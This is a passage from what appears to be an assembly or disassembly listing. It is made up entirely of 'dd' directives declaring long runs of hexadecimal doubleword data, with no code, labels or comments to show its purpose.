		dd 33A11061h, 0A6C9E4A4h, 0E7489409h, 82688DEAh, 384390D7h
		dd 0AD3E0129h, 9E4511CEh, 0E82080E7h, 18A035C3h, 522E0006h
		dd 34F55E95h, 0E600FDD7h, 0B0C6685Ch, 3C20CEh, 0F367FC92h
		dd 0B68D5150h, 0F2D44912h, 0E6BD70C0h, 0DF4A0F0Eh, 5F073AF1h
		dd 94A7B965h, 0AA85319Dh
		dd 78118190h, 3F7A1336h, 32B458h, 7588FBACh, 0C334F970h
		dd 8CA6F400h, 0F04E46D1h, 5F550038h, 0FBC889B2h, 0E000C734h
		dd 0B40795FEh, 4A361Fh,	0AE931EE1h, 0ABCBA386h,	6B3AC400h
		dd 9D846917h, 79800066h, 9FE3EBAFh, 0E900AD8Ah,	0EA9A815Dh
		dd 1E4AECFh, 2C55FD8h, 2897DADBh, 0E9D00068h, 1D1BD61h
		dd 0FCD500DFh, 1A2A1D80h, 49E043D7h, 8155E500h,	0FFAF4B7Ah
		dd 0A5F600BFh, 90D229F0h, 99F2A874h, 0F2348C00h, 109501FEh
		dd 4890D5h, 0F428CEE3h,	0D84BC53Fh, 1840BF30h, 0F8CDF9h
		dd 8F50DFB1h, 0E49E6322h, 3514CF04h, 0F100BBCCh, 28D6A5E2h
		dd 4AB44EC0h, 6AFA59h, 9211650Ch, 50DDC4F8h, 0E6FE7077h
		dd 23400896h, 136B8CDh,	4633AE54h, 9EC848FBh, 0B9F9B11h
		dd 4C22788Ah, 8A5ABE1h,	7900EC2Ch, 1A33D399h, 4A02D041h
		dd 0ABFA7858h, 1858FFh,	7DB4106Dh, 0B9191730h, 2AA1A324h
		dd 0B680871Eh, 7B52F886h, 0BCCD00BAh, 0A52819E4h, 941841E3h
		dd 0BB70AD6Fh, 0FAA74CACh, 0D0B80D12h, 6CDEB444h, 63A04254h
		dd 31717630h, 0A98283h,	461BBBD4h, 41C44F9Fh, 89D4C00h
		dd 3B53A3BDh, 0D96B0009h, 680F92D3h, 4FB8F35Dh,	0BF461A0Ch
		dd 430C301Fh, 9506DD9Ah, 2061DF4Ch, 0AC1D355Fh,	0CC0AC68Eh
		dd 0F5581CAEh, 0BE421083h, 37F0CC2h, 0C53630C3h, 2CA08C40h
		dd 0C008BF1Ch, 0CB797DCh, 0FBA1B01Fh, 806CC356h, 0AACA1E56h
		dd 45150270h, 80C683Fh,	0DC6F10AEh, 0DF8CABA8h,	568C50F8h
		dd 24C1482Eh, 10AFCCECh, 0ADCEEBFFh, 29F1017Ch,	0BC4C76h
		dd 0A0CCEF9Fh, 0ADC93998h, 0E4A20360h, 392B4FECh, 0C00310BFh
		dd 0AF26E20h, 0D76D5FC1h, 0B7E7F0DCh, 7F2840FBh, 30DACDBDh
		dd 0F4603438h, 0A87A050h, 1F450113h, 2C41CBC7h,	2AA85C59h
		dd 0C8143970h, 68B81693h, 7FF0A458h, 0B029185Ch, 6CDF580Eh
		dd 8088D757h, 67D4707h,	0FF60C25Dh, 46015C1h, 0ECE8112Bh
		dd 64ADC9ECh, 0B40FC01h, 409F55D5h, 34DE029Fh, 0F8BECF4Ch
		dd 6E39350Eh, 0BFA81840h, 2A2E00F7h, 0A573C8FEh, 0A6007F55h
		dd 3E051CF1h, 0FCC17Bh,	86F4AD84h, 0A4112D81h, 0DE1D4507h
		dd 9E435846h, 0BE401028h, 0BCCCF0C5h, 12A003CEh, 0B8312D7Eh
		dd 0E95E380Eh, 0AFE835Ch, 0D748185Bh, 2FDB1818h, 0DA7E2A14h
		dd 84B5B028h, 802C3071h, 8AEAD190h, 9EBE1E01h, 0CC3E2A42h
		dd 65001C4Bh, 30E13559h, 46FA2E85h, 7ECFD206h, 3C08C014h
		dd 5E00C39Ah, 3E1E85BCh, 8CAF4272h, 19A87C07h, 91008114h
		dd 0DE183F83h, 88633128h, 185F8E3Ah, 1E08AE5Eh,	0CFCD3ECEh
		dd 0FE60C67Bh, 282009D8h, 86C62089h, 1F83E520h,	0ACFC144h
		dd 0F0B042BFh, 82189578h, 0B1D82DD4h, 199A0C14h, 0DE40DB9Eh
		dd 48D10533h, 37E07CA4h, 9808C4F0h, 809B303Eh, 0F9C782BEh
		dd 388AEED5h, 3A8CA05Eh, 14946B28h, 0D85431BEh,	45107037h
		dd 53A04777h, 20BEC355h, 9C3A4878h, 0B028759Bh,	0EE65EC57h
		dd 0FC037421h, 1876933Eh, 18437C08h, 8C448C2h, 3B091532h
		dd 9E7E0801h, 5C77016Ah, 5F02088Ch, 8C70318h, 10DC7A1Eh
		dd 3644928Ah, 30517630h, 20C6E4F8h, 0F810611Eh,	0C28DF22h
		dd 0F20879B8h, 0AE887566h, 0CCEFE810h, 0DE284539h, 38CC1890h
		dd 661E90AEh, 0A1D4413Fh, 8DF5DE0h, 58782E92h, 0C8040987h
		dd 8000379Dh, 198DA251h, 0C8A3B1FCh, 0D3CBFFD1h, 405EC2h
		dd 2F4969DEh, 6DB2E064h, 71984446h, 187FD802h, 4080739Eh
		dd 0F07D4540h, 116E677Eh, 3E826FAAh, 0D1067FC0h, 63253131h
		dd 0D35E5CB8h, 205DE391h, 10C48754h, 1C871DDEh,	5C93C984h
		dd 49A0747Bh, 91F08CA2h, 0A830CDF6h, 6B11A02Fh,	268AD34h
		dd 0EED636E3h, 0A331A448h, 0E3377E40h, 81877C27h, 332DE222h
		dd 7793D100h, 4C10A9F0h, 40FED5DCh, 5250F130h, 71245E88h
		dd 0C51580CEh, 94A724B8h, 1084598Ch, 20D264B1h,	5E20816Ah
		dd 0FEF4439Fh, 0DE5080ACh, 62817684h, 83B31024h, 5449DFE2h
		dd 14119290h, 37345844h, 83B109Eh, 988D3895h, 0BE16910Ch
		dd 3F64AA80h, 89FFAB0h,	0A90D0404h, 45B14589h, 0EEFD1030h
		dd 617661E6h, 43EB9C51h, 32C788ECh, 0E8BE835Eh,	0C3782C04h
		dd 710F36D7h, 1E29BF82h, 9DFE7468h, 612B609Ah, 9EC1D82Fh
		dd 81F82E65h, 4D24B080h, 0E0F3F467h, 31082A1Bh,	0B5E69878h
		dd 1F1E3B19h, 878F88D7h, 9A86E823h, 72D16801h, 8C9E1EB2h
		dd 44DE0885h, 0E1786931h, 38F2D3C6h, 0D919A60Fh, 0D77A25A8h
		dd 0D6740F78h, 0CAD4FE14h, 0A0152CD4h, 30E0DCF8h, 91F97E69h
		dd 9498A1ECh, 0F0700649h, 615169A7h, 9CB189A4h,	0A3BC31F2h
		dd 0A7C19CC0h, 91D28071h, 70BF4AF8h, 20805728h,	0A08D437Eh
		dd 4C1F938Eh, 577141FAh, 75C3984Eh, 2BF2B52Ch, 0DDE91101h
		dd 64FF609Eh, 0E4540990h, 0E8F97082h, 864E3C40h, 80DB90C6h
		dd 7BD22420h, 36D80A98h, 9782D888h, 0D000E4F0h,	32963390h
		dd 99DD06h, 8B7DF4BFh, 0B4D2639Fh, 861EFCE9h, 74213F4Ch
		dd 388A1F1Eh, 0A8F1F3Eh, 836FDF06h, 40E70038h, 144CE6FEh
		dd 0B7002DD3h, 8782E87Ch, 709F979h, 92963CEFh, 0FF99A142h
		dd 3B184BFDh, 37D411F2h, 0C21B7200h, 0F6A5FF9Ah, 0FA1E68DCh
		dd 0AEEF5F00h, 0C4511F8Bh, 3CF93F50h, 20547571h, 0D218EEDEh
		dd 5B40C7BEh, 0D850DDFBh, 80F248AAh, 0F6437FF0h, 0DED915C0h
		dd 0D095644Dh, 0E9D10034h, 0A39B7F9Ah, 0C361FF8Bh, 5B27BF08h
		dd 7C71DFE0h, 0AA7F105Ah, 0B06530A1h, 7CEAF73Fh, 308728B4h
		dd 333131ACh, 0F3F0CD08h, 41FCDCC1h, 0E0FF16BCh, 19C7F85Fh
		dd 0BFC1F5D3h, 1098FEC6h, 6F1F08E3h, 7F866604h,	0AE07448Eh
		dd 43FF8359h, 463F180Ah, 0E50FDCA3h, 0FABF83A5h, 2E283772h
		dd 10F1C620h, 31D3FF33h, 0BF4810DCh, 0B46E74FBh, 10582C61h
		dd 645F80DFh, 0DA083A64h, 0F5880893h, 13EA009h,	847B3F08h
		dd 0D0140894h, 24495F1Dh, 4263F114h, 0D4A1ADA9h, 9475D912h
		dd 0AFC7398h, 0B8E4F01Fh, 20739F10h, 0E83CA04Dh, 0A15F1DACh
		dd 0CAABE220h, 8ABCD418h, 0AF03FE6h, 0CACEC55h,	0FFE837C6h
		dd 0C99BACA3h, 33BAD4C0h, 1A197974h, 0A084204h,	0F847FA00h
		dd 0B85ACF10h, 7CBBDA10h, 1AF8337Eh, 7C069A88h,	24BA30FDh
		dd 0FF6E7A10h, 907018CEh, 0DA200F20h, 5C5A3746h, 383D4610h
		dd 3A901A00h, 6F1BE1ACh, 562C0789h, 0FE85BE06h,	7DB48860h
		dd 0D501C446h, 1AD09EB3h, 8988294h, 955A4029h, 743B8187h
		dd 2E61Eh, 0C575835h, 0EE4FDAD4h, 68635598h, 310C8CF0h
		dd 9A502118h, 0F66A1186h, 3D2960BFh, 0D876032Ch, 9918B1C1h
		dd 0FA481215h, 0DA40C52Bh, 5482C8Ch, 0D162AF08h, 0C1751FB6h
		dd 7EFAD08Ch, 407AD091h, 0BF2409C4h, 0C2802707h, 0A00C6FBAh
		dd 22D8A074h, 19CAFFAh,	30F2AE3Ch, 0BB55007Eh, 7ACE0E75h
		dd 0FA8770ABh, 0B0F32885h, 40E0C4D2h, 5A28B5A5h, 8178B883h
		dd 309AE139h, 4B994026h, 0F93A15D4h, 28429CFBh,	88F5EFC1h
		dd 95918634h, 31481221h, 0D258E384h, 9B088AFFh,	52D124FAh
		dd 22FE3C0h, 0F5C447D1h, 0B8BCFBFDh, 0B112D706h, 2B30DC65h
		dd 603086D5h, 3FA6CA33h, 0D435A9C2h, 930B4FCh, 446ABB84h
		dd 30470413h, 0FA1480CCh, 0C0DDAB27h, 96427590h, 0D7315AD0h
		dd 0FED808E0h, 0BCCFF441h, 907CFC41h, 1B7B443h,	768BFA08h
		dd 20A57AD4h, 0DB613AD0h, 0FCD79A10h, 413BE85Eh, 7C7B0508h
		dd 99E05501h, 4E713ACFh
		dd 128D0C43h, 1F221A70h, 32520F48h, 91190C9Eh, 9760B778h
		dd 0E17CA330h, 81CB317Ah, 0E0D9EFA8h, 4963231Ah, 0C452BB08h
		dd 0E2975880h, 94983A5Ah, 4F059A0Ch, 8A7CF1B8h,	0C4B63A2Bh
		dd 0DC3D02EBh, 0B5DCA769h, 67C42318h, 44916387h, 0D5953100h
		dd 403AE135h, 3C8AFFFh,	10D3B501h, 0F0F53915h, 0E39738C8h
		dd 0C1E723E0h, 94410F9Ah, 0A0201DFAh, 85F627Ah,	5C40C21Ah
		dd 9CA03DBAh, 8D62839Ah, 40F4FC40h, 0A16A91D4h,	0B05223D4h
		dd 5FECA260h, 4BF04085h, 3AE27CB3h, 0EA78B127h,	5FC0A1B7h
		dd 0E59A1887h, 8ADAC188h, 21A84287h, 453AB481h,	4F85EFFh
		dd 0EDB7AAD9h, 0BCD53490h, 2B8AFFFh, 6797A7E0h,	0CE351048h
		dd 15D05348h, 0A01CF6B1h, 44FA6050h, 0D34D1563h, 0BB6CC194h
		dd 898E936Fh, 0E1868F75h, 0E88F58FAh, 0AB404107h, 5502DAD4h
		dd 78B4F643h, 42781806h, 3D115515h, 660A2E8Dh, 23804BAFh
		dd 0E0EE0118h, 89190B3Bh, 2093520h, 0B6A8FA68h,	86A6064Ch
		dd 381EAEC1h, 8C3A1526h, 0F6BFBA04h, 5B03349Eh,	166E6465h
		dd 0CD75380Ch, 0AD0A709Fh, 0B43E816Ch, 247ADEFAh, 7106AEDCh
		dd 70595ACEh, 0C855808h, 0F8D44868h, 0C8189735h, 0B5800EA6h
		dd 0FA48C30Ah, 8297292h, 24407C03h, 4A8354h, 84F7430Dh
		dd 33C3B647h, 0B64DD01h, 531E0238h, 79262D0h, 0C699FC91h
		dd 9082C354h, 57761111h, 20783D85h, 0FFE21D18h,	7EEA34A8h
		dd 7CD76E10h, 6078BD18h, 18A59322h, 206F3481h, 9D01145Ah
		dd 0F8E20106h, 0D581020Fh, 2B49629h, 0A2021C7Dh, 0A7061E8Ah
		dd 535DB5D5h, 0CBC2E11h, 0A0DE9A68h, 208C383Ch,	0FC23CA00h
		dd 33DFE4AEh, 42A4A83Dh, 8209C07Fh, 0F19E890Eh,	87023Ah
		dd 0A543C0BCh, 40B32Bh,	0F5D26218h, 4CA4B931h, 8F3D9C01h
		dd 110218Ch, 38703099h,	41EFE5Eh, 3DC312AAh, 0AC10730h
		dd 94BE8703h, 3CA51E04h, 0F29A1DE4h, 8C8EC178h,	81201CE1h
		dd 870435A8h, 740FCEDEh, 0CB693408h, 4E810432h,	16A051Dh
		dd 0C7F7068h, 0D561A8B7h, 0F6E2A170h, 7AFE9B15h, 6CEB070h
		dd 0D1E2306Eh, 0F7154138h, 149E9B0Ah, 0A1D07001h, 0B713A4Ah
		dd 9361A8E0h, 3E159BFCh, 0A070027Dh, 0F7F9FF1Bh, 9701A853h
		dd 737E9B71h, 8D0EE05Fh, 36E82A06h, 5E387B98h, 8270AD8Eh
		dd 0C14233FBh, 0E28CA8AEh, 98FBBB71h, 0BEB87B40h, 785AE1C5h
		dd 0F63D5006h, 0E11049BEh, 2D2BF8E8h, 4F11E0E8h, 13EB1B82h
		dd 0FE800CEFh, 9F08FA36h, 27C5AE1h, 0C4BD0709h,	0F2A1032Fh
		dd 38BE7834h, 8C87C68h,	3D8F8714h, 0D3554105h, 74EBD00Ah
		dd 0B28160DAh, 33ECA416h, 0AE8F7A8h, 9CB0F128h,	7C481E68h
		dd 85C434D1h, 181C78Ah,	1B40BC47h, 2F9E48C2h, 0E37CB41Dh
		dd 0A3EA88EDh, 0A2D21B8h, 1D36BE40h, 784DD07Ch,	301DAF10h
		dd 0F6D1C108h, 0BAF0E611h, 0AE20DDC5h, 0A4E1283Ch, 419E15D4h
		dd 6CA07401h, 9F208557h, 4481283Bh, 0CF3E2B98h,	0B9F1E1ECh
		dd 1332E955h, 17393009h, 0D6485EE8h, 2798B4A1h,	0C8F2C070h
		dd 809F1E5Dh, 0FA666C41h, 26500B38h, 0F8549ABEh, 821574A7h
		dd 7F835E6h, 0DE895467h, 2E43EA9h, 0EAA880FBh, 0FE009298h
		dd 471E8953h, 0DC3BC09Ah, 409DD338h, 38CAAB92h,	0B7F0747Eh
		dd 6F501857h, 0F7C1389Eh, 135203EFh, 7C41BEF0h,	6DF87658h
		dd 409C0731h, 7894F3E1h, 76A8F0BEh, 3ABE8F24h, 0C6813831h
		dd 8CB93E01h, 88514509h, 0FE9CA010h, 0E447E3F4h, 9E09E0EAh
		dd 8E782667h, 0CF5E24A8h, 427E09A0h, 0BB02E8BEh, 8094504Eh
		dd 68740692h, 0F8B6BE37h, 0F0023D45h, 0BC042CFEh, 4155089Ch
		dd 31BB7AD7h, 63DEB8D5h, 98D03421h, 0E808CCD1h,	5E40BEB8h
		dd 0E980923Eh, 1E2012FBh, 99247C27h, 0B681CB24h, 0E0616833h
		dd 495E9C9Dh, 0D8F3243Eh, 24A995B8h, 0C461BC88h, 835F43A0h
		dd 0A80A0728h, 9803503Eh, 73F380F3h, 21494009h,	5961BB20h
		dd 4F1184DAh, 0DEA7E003h, 0A943B846h, 89B41230h, 9D7C6838h
		dd 0B99CE15h, 34E100B0h, 0A4FE875Bh, 249681B4h,	4E66BAA8h
		dd 0F808B790h, 20FA656Bh, 1EE4063Ch, 8C410995h,	0F88A1DF1h
		dd 11C84D9Eh, 0D5E67CFEh, 0BE3C88A1h, 8C382620h, 20D2AD8Ch
		dd 32F4987Bh, 1531755Eh, 477E70C0h, 8D81C4AFh, 80B5E793h
		dd 603E8100h, 0F2487090h, 1D9E3C38h, 0E13E9C91h, 4F6C5ED0h
		dd 9653B301h, 0AC49B810h, 21C82483h, 0D98D7897h, 6C9EA98Ch
		dd 0F467AC09h, 19C80CA0h, 53501953h, 0E808F2F8h, 11D12BBEh
		dd 0F8491083h, 9E327920h, 81350918h, 0FBA37E94h, 0F81A109Bh
		dd 0F0C904E2h, 0FE3889F7h, 3BC36F1h, 0BFA75290h, 0D890965Fh
		dd 3000B40Eh, 0A159217Eh, 0E1913FFh, 791E475Eh,	0B6B70A60h
		dd 0A500F98Eh, 8DF6853Ah, 188FEF52h, 406F0E9Dh,	7D0010D4h
		dd 1BF1D921h, 8EBF914h,	42391E46h, 228A4878h, 7400100Dh
		dd 3920E07Eh, 0E1F03E6h, 14020159h, 819678Eh, 5890B244h
		dd 0F6289409h, 6A24C098h, 0B1940EB3h, 0B91DBD05h, 646846F3h
		dd 4AEF0886h, 340C6C55h, 2BD938B0h, 4060A36Ah, 0B3387AE5h
		dd 0ED7C104h, 9FC06354h, 0AD49F399h, 80B31C54h,	0D86EB27Ah
		dd 7607E355h, 0ECA866EAh, 0E0406777h, 0AD2E15h,	215F24CFh
		dd 79D7A236h, 0F99CF000h, 56646FBBh, 46C0183h, 0FEE86866h
		dd 4EB1D065h, 0F8526778h, 0D4F6C020h, 0F6717EA7h, 9A30056h
		dd 76A87BB9h, 2829674Fh, 0C1601CF9h, 60FC57F3h,	35437875h
		dd 0E8016662h, 687CA960h, 10802F83h, 8869493Ch,	8C74BDEh
		dd 0C8834C5Ah, 0E89810B0h, 0BF70F0F2h, 0D98FE53Eh, 67E1BA63h
		dd 5E4F0588h, 0FBDD0288h, 3774C68h, 65C03B03h, 4F5708A8h
		dd 7E768184h, 3986748Fh, 709D2723h, 7CAC1B01h, 66365408h
		dd 0D18AB1D1h, 0F09055EFh, 3710ED20h, 0C3187018h, 0EA2838B5h
		dd 47C1E82h, 6391D2E2h,	0BEE30773h, 36C86751h, 29080885h
		dd 0BF800371h, 0C4E46665h, 0F6C3BE99h, 38580E88h, 0BA857C93h
		dd 1AE407B8h, 0D90840BDh, 28376631h, 44C40814h,	53CC8802h
		dd 1F0264B4h, 0DC5BFB23h, 0BA304063h, 7668CE70h, 74353838h
		dd 8B3B08C5h, 0A858980Dh, 0C36045D0h, 7CA6EF70h, 785465A7h
		dd 0C21AEC0h, 2AA30C17h, 0DC06C850h, 82A5E418h,	4F251E08h
		dd 0C6050419h, 0DF830E1Ah, 0AC558500h, 3A65EFh,	6EC5E3BCh
		dd 5DD0977Eh, 3CDC7D00h, 1453E9A4h, 0A738006Ch,	0DFABFE4Ah
		dd 49DD6B26h, 45EFA800h, 0F0EDEAD4h, 318978AFh,	85502FA5h
		dd 30020F61h, 0E0D8479Dh, 39E0602h, 4808D065h, 6287B285h
		dd 3B1E6745h, 2E02EEC0h, 66DFAC2Ch, 0F8003763h,	5E55467h
		dd 0E9E3B748h, 42096F6h, 892E1076h, 58460027h, 0D145E41Eh
		dd 96E08838h, 34B05ACDh, 0CCA638C6h, 0B6E02B79h, 0F6E14F7Ch
		dd 852135F2h, 0B7398638h, 8A27068h, 2D08D1FEh, 0EFD6E600h
		dd 56E2E5E3h, 0D7816CB6h, 105A5206h, 0CAF05FC6h, 0D86C2C30h
		dd 0E476155Ch, 32269140h, 64A0F3B6h, 0BC25F481h, 0B18099FEh
		dd 0A021A508h, 8BE9D401h, 7FEC05D0h, 4859E263h,	6B0F0C3Ah
		dd 3886EEDEh, 23C08DBh,	0B6850FD7h, 8EA583CCh, 9A1030B1h
		dd 0DAA96508h, 0A88110C0h, 635DE5E4h, 0B49338B6h, 0DD58C5E0h
		dd 0FF3AED7Ch, 2D451BBFh, 94DBE108h, 57926820h,	5082C0B7h
		dd 194312BFh, 5B06E00Ch, 63E670EAh, 0E84708E9h,	0F7A025C0h
		dd 95629C90h, 0BE2C45B0h, 0D5BA0D4h, 6659C6B0h,	451250D0h
		dd 0C0407ABh, 0B480A942h
		dd 0E8E55EBAh, 2508C6A0h, 9EE860D0h, 31EDC63Eh,	3205C8B0h
		dd 57C05C27h, 31A5F08Ch, 0A1A6F688h, 0F05F92D0h, 0CFC4E202h
		dd 0A6021FC6h, 85006042h, 0E0D8934Bh, 46C6E216h, 8632B492h
		dd 4F4171FBh, 0BEDD83D0h, 0A909CA0Ch, 2A77FE6h,	41AE380Ch
		dd 0F188B118h, 99F0BBE3h, 0F8EB10F0h, 0FC60A94h, 0C80CF808h
		dd 9B964004h, 0CAF9E060h, 2F2012D8h, 806E4CACh,	40C7E518h
		dd 80AF9D65h, 0D4FE1081h, 6002096h, 4C90D341h, 0A540C962h
		dd 484BE9Bh, 98BFCCB1h,	8166034Ah, 0AE78240Ah, 0B2C50A10h
		dd 5D243A8Ch, 0E5250714h, 5FA42D0Ah, 26002F4h, 3337790h
		dd 58188A46h, 1999FBC5h, 61D09093h, 2785581Fh, 676C203Dh
		dd 31D46048h, 0BDC3099Ah, 0BB2BC0BFh, 52B0C0A4h, 0E8A8D4ACh
		dd 70CE73A6h, 0A0BBCAE5h, 10B811F0h, 189265D8h,	0A5F09C86h
		dd 839CAF4Ch, 23C77535h, 4FE63911h, 8C8D3F20h, 0E28B0681h
		dd 0C6002D86h, 6CADBE80h, 593E9B01h, 11BEA704h,	0C5B32786h
		dd 1B314187h, 4DAAE84Eh, 508F3820h, 5612B0A0h, 0BF807CBAh
		dd 88E8F0D5h, 0B2B22680h, 0C87B4D14h, 6F17413h,	8F407A8h
		dd 0CC82648h, 8A6A345h,	7B349075h, 98924825h, 938C7626h
		dd 0C53903C1h, 0D814FECFh, 1FEC7898h, 1DFE5697h, 263C55E2h
		dd 0D824CCAAh, 8C30837h, 3E181861h, 39D188F5h, 0B4370C90h
		dd 0A3760834h, 0A338EE28h, 0C808CB4h, 8DB9F965h, 0BE912680h
		dd 3C6DD60Dh, 5F0E080Ah, 0C8002E67h, 0E15487CBh, 35B7C90Fh
		dd 0AF08194Ch, 81E87500h, 7F5B900h, 0AD15B83Ah,	9ACF01FEh
		dd 0E80FFD4h, 2B51816Eh, 9D054062h, 0BAABF400h,	0DD15B70Ah
		dd 0EDD11C3Eh, 0C05028C4h, 0C5E99489h, 0DC62D5B7h, 1EAB5538h
		dd 7336CB04h, 3406F2CCh, 9521A06Ah, 277AE0A5h, 9741676Ch
		dd 188260FCh, 380395B9h, 8387ACD5h, 0D6D76F6Ch,	37405F4h
		dd 18CA847Ch, 99B38358h, 0B9EE2414h, 68D8152Bh,	51C04F61h
		dd 64B4C848h, 507538D9h, 8287F26Ch, 0A5F342A1h,	0D80321E4h
		dd 0A06D8B75h, 0A1C669D5h, 80CE62C4h, 0B8DA80ACh, 399D3A75h
		dd 6095B51Bh, 0F8847AC7h, 10299593h, 0DF0DF079h, 0BEF638C2h
		dd 0D0F51FF0h, 4409A14Fh, 0B52C0FECh, 8683F088h, 0D9FC61C4h
		dd 0BBE91334h, 0A8BF32C8h, 4F8BE6Bh, 1156E054h,	2D249C8h
		dd 0B6335568h, 37347874h, 50799774h, 55B620E6h,	180D893Ah
		dd 1510BDB5h, 6975808Ah, 0E8D508C4h, 1AB55C81h,	6795B441h
		dd 2875088Ch, 0DD48F518h, 0DC351B88h, 0C49AC708h, 8BBD50Ch
		dd 451D2855h, 3C0531A8h, 2382008h, 48DE2557h, 12F80DD4h
		dd 0CA7310A3h, 0EC1424FCh, 3A01D584h, 0FC04A89Fh, 6DAE912h
		dd 4538E7B4h, 6B41BB5h,	0FD0B5372h, 8E541839h, 0CA0670CEh
		dd 0F27380A1h, 84CC6D02h, 509245E0h, 0C2C04372h, 8A043E30h
		dd 0FB47C46Dh, 5058F40Fh, 0C4931995h, 0B06210E0h, 9484A8A5h
		dd 9590C664h, 0D5330835h, 1372495Dh, 4C1B1508h,	55084D08h
		dd 0CF981F57h, 0A32E06F5h, 0B343799h, 3B63B258h, 360898BCh
		dd 0BF7FDCE0h, 0E0801EABh, 6F84BA5Dh, 2474DF40h, 15DC5E21h
		dd 97F08006h, 7E625B9Ch, 82461439h, 406CB5BCh, 9802354Ch
		dd 0F9D5240Ch, 0EE950950h, 39CB4422h, 0D092F204h, 484BE06h
		dd 96A8D1B9h, 0B2B403DEh, 3440245Bh, 35F50994h,	80A6A024h
		dd 1F22B500h, 0D744A090h, 0E030930Ch, 96F181F7h, 0AD31DE44h
		dd 5074A67Ch, 0E70A1A02h, 84CCBF85h, 40F7430Ch,	2044987Bh
		dd 0C082D1F5h, 0E2802815h, 0F3D92E92h, 0CE14196Bh, 2052F985h
		dd 3D575598h, 2F90D8E8h, 20FC5287h, 90285414h, 61D3F50Ch
		dd 0F8629140h, 40965108h, 0B2837C94h, 1508DFC4h, 0A8F69C35h
		dd 308EDAEEh, 86935F4h,	0D1EFB97Dh, 0C7C20B6h, 25D0EA50h
		dd 46E78CA3h, 15282832h, 0D5E098D6h, 36BBF3E9h,	34DBB2E7h
		dd 2768F041h, 37F0D810h, 94208E88h, 3F1520C7h, 6665753Dh
		dd 37901AD8h, 0C2086435h, 5C40883Ch, 70CBEB61h,	10023FDh
		dd 250818C0h, 84AE207Fh, 0F528DC90h, 0FD6BC419h, 0C08CF708h
		dd 8C441C8h, 55032D15h,	10362F16h, 6636D87Ch, 10C71833h
		dd 344077F8h, 12C8980Bh, 79399195h, 9EB8013Ch, 40341CE0h
		dd 3E5455E7h, 9351F3ECh, 0BCA8F9B8h, 0C086FF0h,	20F5E80Ah
		dd 8F51E9CEh, 0E886F3C4h, 0E9C87890h, 8D15065Dh, 47593877h
		dd 1B3C1934h, 0D88C6608h, 95C01A55h, 54D54A20h,	0DE8FDCADh
		dd 0CA508A08h, 28AE19E8h, 0E15C22F5h, 0D41C490Fh, 489862ECh
		dd 0D0DC1055h, 9D01D929h, 0FDD78EDCh, 3DE1216Dh, 7DF026FDh
		dd 38B97C52h, 0D8BCD01Dh, 7CF4D1Dh, 81D5BEFDh, 99C8283Dh
		dd 0DB09B310h, 0EF4000C7h, 1E3F6FB0h, 0DCFF20A1h, 8B38A9ABh
		dd 80BE8034h, 73B40D05h, 276D006Eh, 0D936251Ch,	4A664CDDh
		dd 0E141F708h, 61FD509Ch, 0F8BB54E0h, 110646F2h, 8D2038BCh
		dd 0B0FEFD31h, 508A019Dh, 7850F7BDh, 28A6AA8Eh,	32915C14h
		dd 0BE2E0394h, 14361DD8h, 4CF67D48h, 1CF048F1h,	282E02FCh
		dd 33301DD9h, 7680AF07h, 0C0929BF4h, 774ABF08h,	548050D4h
		dd 204E7891h, 0F412F814h, 760C411Ah, 9410C2h, 14765492h
		dd 16C0294Bh, 8F1ABA0Fh, 624208Ah, 0AD9062h, 86A15C61h
		dd 0E6CA4A1Bh, 7E738818h, 8759D438h, 7734F081h,	1318A2C5h
		dd 7800B874h, 76AEE0D4h, 0E8C3F2B4h, 191D3174h,	98DA1818h
		dd 0F40891A0h, 18E07888h, 0B04CEC74h, 0E0CD4F50h, 53E180A4h
		dd 0D9115C4Fh, 11B3C752h, 50EC789Ch, 632798ACh,	4959489Fh
		dd 58B16837h, 6C3C5225h, 53068597h, 52C891DBh, 0A1B2A8A8h
		dd 12CD4CA4h, 0F8E30B0Ch, 94E0CAB5h, 2F215CB0h,	934931C4h
		dd 54D08669h, 28483624h, 52A4375Eh, 0C9B29889h,	46334CB0h
		dd 72B448C7h, 501918A8h, 69571194h, 0AE598094h,	0C6CC13B8h
		dd 9147D348h, 0B4489762h, 0C140235h, 2AD89808h,	0BB300959h
		dd 3C00E47Bh, 754DC483h, 0F6E048h, 96A07E35h, 93DFF7h
		dd 0AD396B65h, 0D42F83DCh, 0C1C2AF00h, 0F2ABF10Fh, 625E736Fh
		dd 787538D8h, 0D04F081Eh, 52E2D22Eh, 77B502DFh,	5F71389Eh
		dd 0B210C246h, 70F51111h, 99184EB2h, 125E006Dh,	554D9B5Ch
		dd 0B5E8AD43h, 0B8187133h, 1D091F85h, 39150ABDh, 9810DB30h
		dd 619884FFh, 6E391572h, 503BB04Eh, 0CBCEE95h, 0C086354Dh
		dd 0B0AFC908h, 0D4DEB8B1h, 0CF61D21Ch, 250A3558h, 28C79847h
		dd 10FC0C4Bh, 17463795h, 0B570CC08h, 32C35520h,	90086AABh
		dd 14209C0Fh, 84C5C015h, 0E274D02Bh, 4898C067h,	0A300BE32h
		dd 7ED5242Ah, 78CDE428h, 0C6EE4C4h, 43642988h, 22312408h
		dd 0FB0B109Eh, 7C6E84F0h, 17040012h, 7F4672D5h,	0BA0041C8h
		dd 0D2B8E2D8h, 0B05EEh,	0CD446122h, 3AA238FAh, 67D1E13Ah
		dd 2967F360h, 18088546h, 58DEAC64h, 90DFE87Fh, 0EB78CF98h
		dd 60A4F82Dh, 538F09D6h, 62446428h, 1F7F782Eh, 3605204h
		dd 2ABFEF44h, 40E09831h, 64E0C2A7h, 0A4D8C63Fh,	44180839h
		dd 1228C5B0h, 0AB08CDC3h, 496FF0E8h, 0CBA4280Eh, 53848648h
		dd 0F2241F10h, 10C40C4Bh, 0EF40A408h, 84D74004h, 60F09D31h
		dd 0D88AF2A5h, 0C90F68Eh, 3E58F835h, 43C0F366h,	66247118h
		dd 859F8F9h, 2817E431h,	98CC384h, 2340FA95h, 0F920F767h
		dd 9391948h, 0D91988BAh, 0D04E14FCh, 8EEA418h, 0FD664CC4h
		dd 33082740h, 0C951A564h, 0D87B0920h, 15840890h, 8C2448C4h
		dd 10124406h, 9CE6432h
		dd 89FC8F96h, 7B00244Ch, 0CED0C408h, 8ED3FE09h,	38454124h
		dd 0E8F1E40Ah, 5A36143Ah, 0E8D620DCh, 0BCC8A914h, 83369052h
		dd 188BC498h, 10B124F0h, 20C49DE4h, 840644A4h, 5366095Dh
		dd 50295231h, 6264A8C0h, 542408BBh, 0CB8A407h, 0BD598A04h
		dd 0CE44E8C6h, 0A4A74011h, 509E0420h, 624494AFh, 1D84F87Eh
		dd 93887C4Dh, 0EA1E223h, 5EE67848h, 0B7332490h,	3F68F85Dh
